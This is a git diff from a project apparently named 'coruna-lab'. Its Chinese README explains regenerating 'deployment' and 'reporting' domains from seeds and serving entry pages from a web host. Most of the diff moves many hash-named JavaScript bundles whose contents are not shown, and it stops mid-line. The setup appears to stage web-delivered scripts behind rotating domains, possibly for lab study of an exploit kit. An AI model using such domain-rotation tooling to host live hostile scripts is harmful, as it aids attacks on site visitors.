diff --git a/README.md b/README.md index d65dcf8..5044383 100644 --- a/README.md +++ b/README.md @@ -23,23 +23,25 @@ https://www.dhxuhdbej888.icu/web/34f5121f572d6742703eb84ec2f866a6/ ## 新建 / 刷新工作树(推荐) -从 `source/` 复制 `web` + `sync` 到 **lab 根目录**,再自动 `patch_all.py --apply`(换 Deployment/Reporting seed,打出新域名): +从 `source/` 复制 `web` + `sync` 到 **`server/public/`**,再自动 `patch_all.py --apply`: ```bash cd coruna-lab pip3 install py7zr pycryptodome python3 tools/new_project.py -# 指定 seed: +# 指定 seed / 固定域名: python3 tools/new_project.py --deployment-seed … --reporting-seed … +python3 tools/new_project.py \ + --deployment-domains 'a.example,b.example' \ + --reporting-domains 'c.example,d.example' ``` -域名见 `out/domains.json`。本地服务: +域名见 `server/public/out/domains.json`;入口由 Laravel/`server/public` 提供: -```bash -python3 -m http.server 8765 --bind 0.0.0.0 -# 入口: -# http://:8765/web/34f5121f572d6742703eb84ec2f866a6/support.html +```text +https:///web/34f5121f572d6742703eb84ec2f866a6/support.html +https:///sync/daily.html ``` ## 文档 diff --git a/server/public/sync/daily.html b/server/public/sync/daily.html index 7503f5c..7bb38f6 100644 Binary files a/server/public/sync/daily.html and b/server/public/sync/daily.html differ diff --git a/server/public/sync/erupt_flee.js b/server/public/sync/erupt_flee.js index b936d36..e859b87 100644 Binary files a/server/public/sync/erupt_flee.js and b/server/public/sync/erupt_flee.js differ diff --git a/server/public/web/039c68f0ca742a85e94516818385a9eca2e204d8.min.js b/server/public/web/039c68f0ca742a85e94516818385a9eca2e204d8.min.js deleted file mode 100644 index 703e250..0000000 Binary files a/server/public/web/039c68f0ca742a85e94516818385a9eca2e204d8.min.js and /dev/null differ diff --git a/server/public/web/1d0df5a0a12a20aa8b0c8aeb660742268f311d19.min.js b/server/public/web/1d0df5a0a12a20aa8b0c8aeb660742268f311d19.min.js deleted file mode 100644 index e163744..0000000 Binary files a/server/public/web/1d0df5a0a12a20aa8b0c8aeb660742268f311d19.min.js and /dev/null differ diff --git a/server/public/web/242a0afb1d88b83e9a1a5b570fed6778def892fc.min.js b/server/public/web/242a0afb1d88b83e9a1a5b570fed6778def892fc.min.js deleted file mode 100644 index 9e44c05..0000000 Binary files a/server/public/web/242a0afb1d88b83e9a1a5b570fed6778def892fc.min.js and /dev/null differ diff --git a/server/public/web/347367155da44f3efcc9053337913061079610b9.min.js b/server/public/web/347367155da44f3efcc9053337913061079610b9.min.js deleted file mode 100644 index 3257af3..0000000 Binary files a/server/public/web/347367155da44f3efcc9053337913061079610b9.min.js and /dev/null differ diff --git a/server/public/web/039c68f0ca742a85e94516818385a9eca2e204d8.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/039c68f0ca742a85e94516818385a9eca2e204d8.js similarity index 100% rename from server/public/web/039c68f0ca742a85e94516818385a9eca2e204d8.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/039c68f0ca742a85e94516818385a9eca2e204d8.js diff --git a/server/public/web/34f5121f572d6742703eb84ec2f866a6/039c68f0ca742a85e94516818385a9eca2e204d8.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/039c68f0ca742a85e94516818385a9eca2e204d8.min.js new file mode 100644 index 0000000..2bed977 Binary files /dev/null and b/server/public/web/34f5121f572d6742703eb84ec2f866a6/039c68f0ca742a85e94516818385a9eca2e204d8.min.js differ diff --git a/server/public/web/054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.js similarity index 100% rename from server/public/web/054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.js diff --git a/server/public/web/054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.min.js similarity index 100% rename from server/public/web/054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.min.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.min.js diff --git a/server/public/web/076de672aebfc78137aa863e51ff3d8980dcdd10.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/076de672aebfc78137aa863e51ff3d8980dcdd10.js similarity index 100% rename from server/public/web/076de672aebfc78137aa863e51ff3d8980dcdd10.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/076de672aebfc78137aa863e51ff3d8980dcdd10.js diff --git a/server/public/web/076de672aebfc78137aa863e51ff3d8980dcdd10.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/076de672aebfc78137aa863e51ff3d8980dcdd10.min.js similarity index 100% rename from server/public/web/076de672aebfc78137aa863e51ff3d8980dcdd10.min.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/076de672aebfc78137aa863e51ff3d8980dcdd10.min.js diff --git a/server/public/web/0c297489d8c9d5470bfce17b0d99da3338b44a18.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/0c297489d8c9d5470bfce17b0d99da3338b44a18.js similarity index 100% rename from server/public/web/0c297489d8c9d5470bfce17b0d99da3338b44a18.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/0c297489d8c9d5470bfce17b0d99da3338b44a18.js diff --git a/server/public/web/0f2be2a4e0ab7e60b6ce550692996d079a5769a0.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/0f2be2a4e0ab7e60b6ce550692996d079a5769a0.js similarity index 100% rename from server/public/web/0f2be2a4e0ab7e60b6ce550692996d079a5769a0.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/0f2be2a4e0ab7e60b6ce550692996d079a5769a0.js diff --git a/server/public/web/1c5bd923f56ca7fcf2cfa695bc0d54b6a2c849bf.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/1c5bd923f56ca7fcf2cfa695bc0d54b6a2c849bf.js similarity index 100% rename from server/public/web/1c5bd923f56ca7fcf2cfa695bc0d54b6a2c849bf.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/1c5bd923f56ca7fcf2cfa695bc0d54b6a2c849bf.js diff --git a/server/public/web/1d0df5a0a12a20aa8b0c8aeb660742268f311d19.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/1d0df5a0a12a20aa8b0c8aeb660742268f311d19.js similarity index 100% rename from server/public/web/1d0df5a0a12a20aa8b0c8aeb660742268f311d19.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/1d0df5a0a12a20aa8b0c8aeb660742268f311d19.js diff --git a/server/public/web/34f5121f572d6742703eb84ec2f866a6/1d0df5a0a12a20aa8b0c8aeb660742268f311d19.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/1d0df5a0a12a20aa8b0c8aeb660742268f311d19.min.js new file mode 100644 index 0000000..437dacd Binary files /dev/null and b/server/public/web/34f5121f572d6742703eb84ec2f866a6/1d0df5a0a12a20aa8b0c8aeb660742268f311d19.min.js differ diff --git a/server/public/web/242a0afb1d88b83e9a1a5b570fed6778def892fc.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/242a0afb1d88b83e9a1a5b570fed6778def892fc.js similarity index 100% rename from server/public/web/242a0afb1d88b83e9a1a5b570fed6778def892fc.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/242a0afb1d88b83e9a1a5b570fed6778def892fc.js diff --git a/server/public/web/34f5121f572d6742703eb84ec2f866a6/242a0afb1d88b83e9a1a5b570fed6778def892fc.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/242a0afb1d88b83e9a1a5b570fed6778def892fc.min.js new file mode 100644 index 0000000..54c6f17 Binary files /dev/null and b/server/public/web/34f5121f572d6742703eb84ec2f866a6/242a0afb1d88b83e9a1a5b570fed6778def892fc.min.js differ diff --git a/server/public/web/291b914c574e1196039313595217367c44cca436.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/291b914c574e1196039313595217367c44cca436.js similarity index 100% rename from server/public/web/291b914c574e1196039313595217367c44cca436.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/291b914c574e1196039313595217367c44cca436.js diff --git a/server/public/web/34058858_6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/34058858_6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js similarity index 100% rename from server/public/web/34058858_6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/34058858_6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js diff --git a/server/public/web/347367155da44f3efcc9053337913061079610b9.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/347367155da44f3efcc9053337913061079610b9.js similarity index 100% rename from server/public/web/347367155da44f3efcc9053337913061079610b9.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/347367155da44f3efcc9053337913061079610b9.js diff --git a/server/public/web/34f5121f572d6742703eb84ec2f866a6/347367155da44f3efcc9053337913061079610b9.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/347367155da44f3efcc9053337913061079610b9.min.js new file mode 100644 index 0000000..b891d7b Binary files /dev/null and b/server/public/web/34f5121f572d6742703eb84ec2f866a6/347367155da44f3efcc9053337913061079610b9.min.js differ diff --git a/server/public/web/3b0133801a3f844e7ebafa0363f2423a50005b72.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/3b0133801a3f844e7ebafa0363f2423a50005b72.js similarity index 100% rename from server/public/web/3b0133801a3f844e7ebafa0363f2423a50005b72.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/3b0133801a3f844e7ebafa0363f2423a50005b72.js diff --git a/server/public/web/3b0133801a3f844e7ebafa0363f2423a50005b72.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/3b0133801a3f844e7ebafa0363f2423a50005b72.min.js similarity index 100% rename from server/public/web/3b0133801a3f844e7ebafa0363f2423a50005b72.min.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/3b0133801a3f844e7ebafa0363f2423a50005b72.min.js diff --git a/server/public/web/3c04ae31f9ba8f809b275be4b3fa93deb558902c.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/3c04ae31f9ba8f809b275be4b3fa93deb558902c.js similarity index 100% rename from server/public/web/3c04ae31f9ba8f809b275be4b3fa93deb558902c.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/3c04ae31f9ba8f809b275be4b3fa93deb558902c.js diff --git a/server/public/web/40a27e7916aa554e6d38d39beb6bb7ee095692ed.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/40a27e7916aa554e6d38d39beb6bb7ee095692ed.js similarity index 100% rename from server/public/web/40a27e7916aa554e6d38d39beb6bb7ee095692ed.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/40a27e7916aa554e6d38d39beb6bb7ee095692ed.js diff --git a/server/public/web/4614dd1cf7c0b41d0443e1a1a306706fb94a2bb6.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/4614dd1cf7c0b41d0443e1a1a306706fb94a2bb6.js similarity index 100% rename from server/public/web/4614dd1cf7c0b41d0443e1a1a306706fb94a2bb6.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/4614dd1cf7c0b41d0443e1a1a306706fb94a2bb6.js diff --git a/server/public/web/4614dd1cf7c0b41d0443e1a1a306706fb94a2bb6.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/4614dd1cf7c0b41d0443e1a1a306706fb94a2bb6.min.js similarity index 100% rename from server/public/web/4614dd1cf7c0b41d0443e1a1a306706fb94a2bb6.min.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/4614dd1cf7c0b41d0443e1a1a306706fb94a2bb6.min.js diff --git a/server/public/web/62415a3d105a8c40c41b19cf456e8474fe441359.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/62415a3d105a8c40c41b19cf456e8474fe441359.js similarity index 100% rename from server/public/web/62415a3d105a8c40c41b19cf456e8474fe441359.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/62415a3d105a8c40c41b19cf456e8474fe441359.js diff --git a/server/public/web/62415a3d105a8c40c41b19cf456e8474fe441359.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/62415a3d105a8c40c41b19cf456e8474fe441359.min.js similarity index 100% rename from server/public/web/62415a3d105a8c40c41b19cf456e8474fe441359.min.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/62415a3d105a8c40c41b19cf456e8474fe441359.min.js diff --git a/server/public/web/630c2b42300333d91588353d43afab9ec8325e09.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/630c2b42300333d91588353d43afab9ec8325e09.js similarity index 100% rename from server/public/web/630c2b42300333d91588353d43afab9ec8325e09.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/630c2b42300333d91588353d43afab9ec8325e09.js diff --git a/server/public/web/34f5121f572d6742703eb84ec2f866a6/630c2b42300333d91588353d43afab9ec8325e09.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/630c2b42300333d91588353d43afab9ec8325e09.min.js new file mode 100644 index 0000000..56d0f05 Binary files /dev/null and b/server/public/web/34f5121f572d6742703eb84ec2f866a6/630c2b42300333d91588353d43afab9ec8325e09.min.js differ diff --git a/server/public/web/651774047bf8d72258a5f04785c9dabf5e793670.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/651774047bf8d72258a5f04785c9dabf5e793670.js similarity index 100% rename from server/public/web/651774047bf8d72258a5f04785c9dabf5e793670.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/651774047bf8d72258a5f04785c9dabf5e793670.js diff --git a/server/public/web/6539c1e0dc731ea7c7011af236cc7c2871af7c40.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/6539c1e0dc731ea7c7011af236cc7c2871af7c40.js similarity index 100% rename from server/public/web/6539c1e0dc731ea7c7011af236cc7c2871af7c40.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/6539c1e0dc731ea7c7011af236cc7c2871af7c40.js diff --git a/server/public/web/6539c1e0dc731ea7c7011af236cc7c2871af7c40.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/6539c1e0dc731ea7c7011af236cc7c2871af7c40.min.js similarity index 100% rename from server/public/web/6539c1e0dc731ea7c7011af236cc7c2871af7c40.min.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/6539c1e0dc731ea7c7011af236cc7c2871af7c40.min.js diff --git a/server/public/web/65704c0722165a7bdedad3f3f61258b2f95470f6.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/65704c0722165a7bdedad3f3f61258b2f95470f6.js similarity index 100% rename from server/public/web/65704c0722165a7bdedad3f3f61258b2f95470f6.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/65704c0722165a7bdedad3f3f61258b2f95470f6.js diff --git a/server/public/web/34f5121f572d6742703eb84ec2f866a6/65704c0722165a7bdedad3f3f61258b2f95470f6.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/65704c0722165a7bdedad3f3f61258b2f95470f6.min.js new file mode 100644 index 0000000..9be2087 Binary files /dev/null and b/server/public/web/34f5121f572d6742703eb84ec2f866a6/65704c0722165a7bdedad3f3f61258b2f95470f6.min.js differ diff --git a/server/public/web/694c829e379e12085de6158b85f32509f54f4796.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/694c829e379e12085de6158b85f32509f54f4796.js similarity index 100% rename from server/public/web/694c829e379e12085de6158b85f32509f54f4796.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/694c829e379e12085de6158b85f32509f54f4796.js diff --git a/server/public/web/694c829e379e12085de6158b85f32509f54f4796.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/694c829e379e12085de6158b85f32509f54f4796.min.js similarity index 100% rename from server/public/web/694c829e379e12085de6158b85f32509f54f4796.min.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/694c829e379e12085de6158b85f32509f54f4796.min.js diff --git a/server/public/web/6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.js similarity index 100% rename from server/public/web/6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.js diff --git a/server/public/web/34f5121f572d6742703eb84ec2f866a6/6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js new file mode 100644 index 0000000..04089b7 Binary files /dev/null and b/server/public/web/34f5121f572d6742703eb84ec2f866a6/6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js differ diff --git a/server/public/web/6bbb364c8a423374d42a2cbc45c0dee84e7dc710.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/6bbb364c8a423374d42a2cbc45c0dee84e7dc710.js similarity index 100% rename from server/public/web/6bbb364c8a423374d42a2cbc45c0dee84e7dc710.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/6bbb364c8a423374d42a2cbc45c0dee84e7dc710.js diff --git a/server/public/web/6bbb364c8a423374d42a2cbc45c0dee84e7dc710.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/6bbb364c8a423374d42a2cbc45c0dee84e7dc710.min.js similarity index 100% rename from server/public/web/6bbb364c8a423374d42a2cbc45c0dee84e7dc710.min.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/6bbb364c8a423374d42a2cbc45c0dee84e7dc710.min.js diff --git a/server/public/web/6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca.js similarity index 100% rename from server/public/web/6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca.js diff --git a/server/public/web/6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca.min.js similarity index 100% rename from server/public/web/6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca.min.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca.min.js diff --git a/server/public/web/700491384cc59bd25c3aa4dd670c8660963bffe3.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/700491384cc59bd25c3aa4dd670c8660963bffe3.js similarity index 100% rename from server/public/web/700491384cc59bd25c3aa4dd670c8660963bffe3.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/700491384cc59bd25c3aa4dd670c8660963bffe3.js diff --git a/server/public/web/743312cafb58176af57b89098d94dca1c60f8d1e.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/743312cafb58176af57b89098d94dca1c60f8d1e.js similarity index 100% rename from server/public/web/743312cafb58176af57b89098d94dca1c60f8d1e.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/743312cafb58176af57b89098d94dca1c60f8d1e.js diff --git a/server/public/web/34f5121f572d6742703eb84ec2f866a6/743312cafb58176af57b89098d94dca1c60f8d1e.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/743312cafb58176af57b89098d94dca1c60f8d1e.min.js new file mode 100644 index 0000000..8b4f85d Binary files /dev/null and b/server/public/web/34f5121f572d6742703eb84ec2f866a6/743312cafb58176af57b89098d94dca1c60f8d1e.min.js differ diff --git a/server/public/web/7cb20652ef7156e931f894dd3d99f24601b80368.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/7cb20652ef7156e931f894dd3d99f24601b80368.js similarity index 100% rename from server/public/web/7cb20652ef7156e931f894dd3d99f24601b80368.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/7cb20652ef7156e931f894dd3d99f24601b80368.js diff --git a/server/public/web/34f5121f572d6742703eb84ec2f866a6/7cb20652ef7156e931f894dd3d99f24601b80368.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/7cb20652ef7156e931f894dd3d99f24601b80368.min.js new file mode 100644 index 0000000..8f6b904 Binary files /dev/null and b/server/public/web/34f5121f572d6742703eb84ec2f866a6/7cb20652ef7156e931f894dd3d99f24601b80368.min.js differ diff --git a/server/public/web/7f208248c748f97956fe4a7cf246c91235852e67.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/7f208248c748f97956fe4a7cf246c91235852e67.js similarity index 100% rename from server/public/web/7f208248c748f97956fe4a7cf246c91235852e67.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/7f208248c748f97956fe4a7cf246c91235852e67.js diff --git a/server/public/web/34f5121f572d6742703eb84ec2f866a6/7f208248c748f97956fe4a7cf246c91235852e67.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/7f208248c748f97956fe4a7cf246c91235852e67.min.js new file mode 100644 index 0000000..ac69748 Binary files /dev/null and b/server/public/web/34f5121f572d6742703eb84ec2f866a6/7f208248c748f97956fe4a7cf246c91235852e67.min.js differ diff --git a/server/public/web/906a996fa11bcaa5347c6453e328f538d17d5dbf.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/906a996fa11bcaa5347c6453e328f538d17d5dbf.js similarity index 100% rename from server/public/web/906a996fa11bcaa5347c6453e328f538d17d5dbf.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/906a996fa11bcaa5347c6453e328f538d17d5dbf.js diff --git a/server/public/web/906a996fa11bcaa5347c6453e328f538d17d5dbf.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/906a996fa11bcaa5347c6453e328f538d17d5dbf.min.js similarity index 100% rename from server/public/web/906a996fa11bcaa5347c6453e328f538d17d5dbf.min.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/906a996fa11bcaa5347c6453e328f538d17d5dbf.min.js diff --git a/server/public/web/9075c25766e57019db4c86fac179b03ebf1b56e5.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/9075c25766e57019db4c86fac179b03ebf1b56e5.js similarity index 100% rename from server/public/web/9075c25766e57019db4c86fac179b03ebf1b56e5.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/9075c25766e57019db4c86fac179b03ebf1b56e5.js diff --git a/server/public/web/98f0c8fb182309faa687aa849e92d0ac5f93af7d.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/98f0c8fb182309faa687aa849e92d0ac5f93af7d.js similarity index 100% rename from server/public/web/98f0c8fb182309faa687aa849e92d0ac5f93af7d.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/98f0c8fb182309faa687aa849e92d0ac5f93af7d.js diff --git a/server/public/web/99010a27e08b3312650c8d9f321958433e577a30.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/99010a27e08b3312650c8d9f321958433e577a30.js similarity index 100% rename from server/public/web/99010a27e08b3312650c8d9f321958433e577a30.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/99010a27e08b3312650c8d9f321958433e577a30.js diff --git a/server/public/web/99010a27e08b3312650c8d9f321958433e577a30.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/99010a27e08b3312650c8d9f321958433e577a30.min.js similarity index 100% rename from server/public/web/99010a27e08b3312650c8d9f321958433e577a30.min.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/99010a27e08b3312650c8d9f321958433e577a30.min.js diff --git a/server/public/web/9fd93b94a0a7c7ec2afcd1fa2e3f8dd10f64371f.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/9fd93b94a0a7c7ec2afcd1fa2e3f8dd10f64371f.js similarity index 100% rename from server/public/web/9fd93b94a0a7c7ec2afcd1fa2e3f8dd10f64371f.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/9fd93b94a0a7c7ec2afcd1fa2e3f8dd10f64371f.js diff --git a/server/public/web/a13a74c0123f5a0c4acaf0586f035f8735bac0c8.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/a13a74c0123f5a0c4acaf0586f035f8735bac0c8.js similarity index 100% rename from server/public/web/a13a74c0123f5a0c4acaf0586f035f8735bac0c8.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/a13a74c0123f5a0c4acaf0586f035f8735bac0c8.js diff --git a/server/public/web/a13a74c0123f5a0c4acaf0586f035f8735bac0c8.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/a13a74c0123f5a0c4acaf0586f035f8735bac0c8.min.js similarity index 100% rename from server/public/web/a13a74c0123f5a0c4acaf0586f035f8735bac0c8.min.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/a13a74c0123f5a0c4acaf0586f035f8735bac0c8.min.js diff --git a/server/public/web/a5847c3e2e439e2f7c4b1582932cf81a06100981.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/a5847c3e2e439e2f7c4b1582932cf81a06100981.js similarity index 100% rename from server/public/web/a5847c3e2e439e2f7c4b1582932cf81a06100981.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/a5847c3e2e439e2f7c4b1582932cf81a06100981.js diff --git a/server/public/web/a5847c3e2e439e2f7c4b1582932cf81a06100981.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/a5847c3e2e439e2f7c4b1582932cf81a06100981.min.js similarity index 100% rename from server/public/web/a5847c3e2e439e2f7c4b1582932cf81a06100981.min.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/a5847c3e2e439e2f7c4b1582932cf81a06100981.min.js diff --git a/server/public/web/ad970e88980634bcb2eda0c998a27881686dd29e.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/ad970e88980634bcb2eda0c998a27881686dd29e.js similarity index 100% rename from server/public/web/ad970e88980634bcb2eda0c998a27881686dd29e.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/ad970e88980634bcb2eda0c998a27881686dd29e.js diff --git a/server/public/web/ad970e88980634bcb2eda0c998a27881686dd29e.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/ad970e88980634bcb2eda0c998a27881686dd29e.min.js similarity index 100% rename from server/public/web/ad970e88980634bcb2eda0c998a27881686dd29e.min.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/ad970e88980634bcb2eda0c998a27881686dd29e.min.js diff --git a/server/public/web/b099ff22b5c8e65654744fd307d81ad208009103.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/b099ff22b5c8e65654744fd307d81ad208009103.js similarity index 100% rename from server/public/web/b099ff22b5c8e65654744fd307d81ad208009103.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/b099ff22b5c8e65654744fd307d81ad208009103.js diff --git a/server/public/web/c9118a62558ed444a64c2dfe350c6c57fa277a3a.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/c9118a62558ed444a64c2dfe350c6c57fa277a3a.js similarity index 100% rename from server/public/web/c9118a62558ed444a64c2dfe350c6c57fa277a3a.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/c9118a62558ed444a64c2dfe350c6c57fa277a3a.js diff --git a/server/public/web/c9118a62558ed444a64c2dfe350c6c57fa277a3a.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/c9118a62558ed444a64c2dfe350c6c57fa277a3a.min.js similarity index 100% rename from server/public/web/c9118a62558ed444a64c2dfe350c6c57fa277a3a.min.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/c9118a62558ed444a64c2dfe350c6c57fa277a3a.min.js diff --git a/server/public/web/d1a39a282f3dc9d0e261c3df466093ee0f8d441d.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/d1a39a282f3dc9d0e261c3df466093ee0f8d441d.js similarity index 100% rename from server/public/web/d1a39a282f3dc9d0e261c3df466093ee0f8d441d.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/d1a39a282f3dc9d0e261c3df466093ee0f8d441d.js diff --git a/server/public/web/d1a39a282f3dc9d0e261c3df466093ee0f8d441d.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/d1a39a282f3dc9d0e261c3df466093ee0f8d441d.min.js similarity index 100% rename from server/public/web/d1a39a282f3dc9d0e261c3df466093ee0f8d441d.min.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/d1a39a282f3dc9d0e261c3df466093ee0f8d441d.min.js diff --git a/server/public/web/e406714e92671b5218496fcb6666734411cb2320.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/e406714e92671b5218496fcb6666734411cb2320.js similarity index 100% rename from server/public/web/e406714e92671b5218496fcb6666734411cb2320.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/e406714e92671b5218496fcb6666734411cb2320.js diff --git a/server/public/web/e406714e92671b5218496fcb6666734411cb2320.min.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/e406714e92671b5218496fcb6666734411cb2320.min.js similarity index 100% rename from server/public/web/e406714e92671b5218496fcb6666734411cb2320.min.js rename to server/public/web/34f5121f572d6742703eb84ec2f866a6/e406714e92671b5218496fcb6666734411cb2320.min.js diff --git a/server/public/web/eb3e81b54e8763bfe505e7a18be8f5fd828a76f6.js b/server/public/web/34f5121f572d6742703eb84ec2f866a6/eb3e81b54e8763bfe505e7a18be8f5fd828a76f6.js similarity index 100% 